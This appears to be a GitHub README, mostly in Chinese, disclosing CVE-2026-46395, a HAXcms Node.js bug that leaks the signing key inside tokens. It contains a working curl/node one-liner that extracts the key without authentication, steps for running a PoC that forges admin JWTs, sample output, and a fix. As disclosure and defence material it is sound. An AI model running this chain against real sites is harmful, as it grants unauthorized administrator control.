shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak
GitHub: shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak
HAXcms Node.js HMAC 私钥泄露漏洞(CVE-2026-46395)的概念验证代码与技术分析,演示未认证攻击者如何通过单一请求提取密钥并伪造管理员 JWT。
Stars: 0 | Forks: 0
# CVE-2026-46395 - HAXcms Node.js 因受损 HMAC 导致的私钥泄露 (CWE-321 / CWE-200)
| | |
|---|---|
| **CVE** | CVE-2026-46395 |
| **组件** | HAXcms Node.js 后端 - `haxcms-nodejs/src/lib/HAXCMS.js` |
| **漏洞** | 硬编码加密密钥 + 私钥泄露 (CWE-321, CWE-200) |
| **严重程度** | **严重** - CVSS 3.1 **9.8** |
| **攻击方式** | 未认证,单一 HTTP 请求,无需用户交互 |
| **状态** | 上游已修复。影响修补程序之前的版本。 |
| **项目** | [elmsln/HAXcms](https://github.com/elmsln/HAXcms) |
| **报告者** | Shreyas Challa () |
## 摘要
HAXcms **Node.js** 后端 (`src/lib/HAXCMS.js:2158-2163`) 中的 `hmacBase64()`
包含两个加密错误,二者结合可使任何**未经认证**的
攻击者恢复服务器的主签名密钥 (`privateKey + salt`) 并
伪造管理员级别的 JWT。
```
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
```
- **错误 1 - 硬编码 HMAC 密钥:** 使用字面量 `"0"` 作为签名密钥,
而不是 `key`,因此该 HMAC 不具备任何保密性。
- **错误 2 - 密钥泄露至输出中:** 真实的 `key` (系统的
`privateKey + salt`) 被拼接到摘要后,并进行 base64 编码包含在
返回的 token 中。
因此,每个 token 都具有以下结构:
```
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
```
攻击者对任意 token 进行 base64 解码,**丢弃前 32 个字节**,即可直接读取
私钥。`/system/api/connectionSettings` endpoint 位于 JWT 跳过列表 (`src/app.js`) 中,并且在**无需认证**的情况下返回多个此类 token,因此只需发送一个 GET 请求即可暴露该密钥。
## 影响
一次未经认证的请求即可导致全面攻陷:
1. **提取私钥** - 发送 `GET /system/api/connectionSettings` 请求,对任意 token 进行 base64 解码,并丢弃前 32 个字节。
2. **伪造管理员 JWT** - `jwt.sign(payload, privateKey+salt)`。
3. **伪造请求 token** - 重新计算 `user_token`、`form_token` 等。
4. **完全管理员访问权限** - 创建/修改/删除站点、上传文件、更改内容。
即使管理员设置了强密码,此攻击依然有效,并且伪造的 token 不会在日志中产生任何登录事件。
## 运行 PoC
`poc_hmac_key_leak.js` 针对运行中的实例端到端地执行整个链条,并详细打印每一个步骤:获取 token → 提取密钥 → 验证密钥 → 伪造 JWT → 伪造请求 token → 调用已认证的 endpoint → 创建站点以证明写权限。
### 前置条件
- Node.js 16+
- 一个您已获授权测试的、正在运行的 HAXcms Node.js 实例
搭建一个本地测试实例:
```
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
```
### 安装并运行 PoC
```
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
```
如果未安装 `jsonwebtoken`,PoC 仍会提取并验证密钥,
只是会跳过 JWT 伪造步骤。
### 手动单行命令(仅提取密钥)
```
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
```
### 示例输出
```
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
```
## 修复建议
使用一个正确的带密钥 HMAC 函数替换原有的受损函数,且仅返回摘要:
```
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
```
修补后:
1. 所有现有的 JWT/token 都将失效 (符合预期) - 用户需要重新认证。
2. 在每个已部署的实例上**轮换 `privateKey` 和 `salt`** - 任何之前
颁发的 token 都以明文形式包含旧密钥 (存在于 HTTP 响应、日志和
浏览器历史记录中)。
更新至包含上游修复的最新 HAXcms 版本。
## 负责任的漏洞披露
此问题已报告给 HAXcms 维护者,并在公开发布前已修复。
PoC 仅在补丁可用后才发布。请仅针对您拥有或明确获得授权测试的系统使用它。
## 法律 / 授权使用声明
本材料仅用于**防御性研究、教育和授权的
安全测试**。在未经明确许可的情况下对系统运行此程序可能是
违法的。您需全权负责遵守所有适用的法律,
并在测试前获得授权。按“原样”提供,不附带任何
保证 (详见 `LICENSE`)。
标签:GNU通用公共许可证, HMAC, JWT, MITM代理, Node.js, PoC, StruQ, 密码学缺陷, 数据可视化, 暴力破解, 自定义脚本